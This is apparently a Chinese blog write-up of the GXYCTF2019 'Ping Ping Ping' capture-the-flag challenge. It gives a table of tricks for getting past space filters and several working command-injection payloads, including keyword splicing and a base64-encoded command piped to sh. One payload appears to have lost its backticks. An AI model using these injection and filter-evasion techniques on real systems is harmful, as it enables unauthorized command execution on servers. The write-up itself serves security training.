GXYCTF2019 Ping Ping Ping1
Q7nl1s admin

[GXYCTF2019]Ping Ping Ping1

进入靶机

1

看到/?ip=?的提示,结合源代码没有任何东西,尝试bp抓包

2

查看请求头想到X-Forwarded-For

3

对于X-Forwarded-For有以上解释,简单概括就是表示请求端的真实IP

4

发现无响应事件,查了一下后发现只是在地址栏改就ok了…

5

发现空格被过滤

关于空格绕过我做过研究

空格绕过

操作系统 前置条件 字符 起效部分 实质
Linux $IFS$9 本身
Linux $IFS$1 本身
Linux ${IFS} 本身
Linux $IFS\ 本身
Linux {cat,text.php} 在{}包含下”,”起作用
Linux < 本身 重定向符
Linux <> 本身 重定向符
未测定 php环境 %20 本身 space
未测定 php环境 %09 本身 tab

6

这里用<>尝试

7

发现符号也被过滤了,再试试$IFS$9

8

发现flag也被过滤了,所以想到拼接绕过

9

试了很多次都不行最后猜想flag四个字母不管顺序,都不能同时出现

拒绝继续黑盒测试,看看index.php中到底过滤了啥

10

方法一

简单审计了一下代码,这不是换个顺序就好了吗……

payload

1
/?ip=127.0.0.1||b=g;cat$IFS$9fla$b.php

11

拿到flag

但发现这里还有一个shell_exec()函数,有点兴趣

12

看了一下手册,发现就是输出字符型的命令执行结果

方法二

再看了一下网上 的wp发现还有个内联执行 (真正的大佬操作,给跪了)

构造 /?ip=127.0.0.1;cat$IFS$9ls

什么正则都是浮云,可能这就是大佬的世界把。

注:内联,就是将反引号内命令的输出作为输入执行。

方法三

方法二 sh,bash下编码

payload:

1
2
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

解码后 cat falg.php

13

拿到flag

 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View